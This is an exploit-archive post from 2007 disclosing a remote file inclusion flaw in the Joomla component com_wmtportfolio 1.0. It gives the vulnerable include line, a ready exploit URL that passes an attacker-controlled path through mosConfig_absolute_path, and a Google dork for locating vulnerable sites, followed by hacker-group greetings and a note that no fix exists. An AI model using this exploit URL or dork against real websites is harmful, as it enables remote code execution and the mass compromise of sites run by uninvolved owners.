Joomla Component wmtportfolio 1.0 Remote File Inclusion Vulnerability

2007-10-07 00:00:00

# wmtportfolio joomla component 1.0 Remote File Include Vulnerability

Component : com_wmtportfolio version 1.0
Download script : http://www.webmaster-tips.net/
Dicovered by : NoGe
Contact : [email protected]

==================================================================================================================================

# Vulnerable found in /administrator/components/com_wmtportfolio/admin.wmtportfolio.php

line 5 include( $mosConfig_absolute_path . "/components/com_wmtportfolio/additems.php" );


# Exploit


http://localhost/path/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=[evilcode]


# google dork

inurl:com_wmtportfolio

==================================================================================================================================

# Greetz

[-] all crew #papuahacker #nyubicrew #baliemhackerlink
[-] skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie
[-] yooogy Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
[-] http://kapukvalley.net member

==================================================================================================================================

#

Fixes

No fixes

In order to submit a new fix you need to be registered.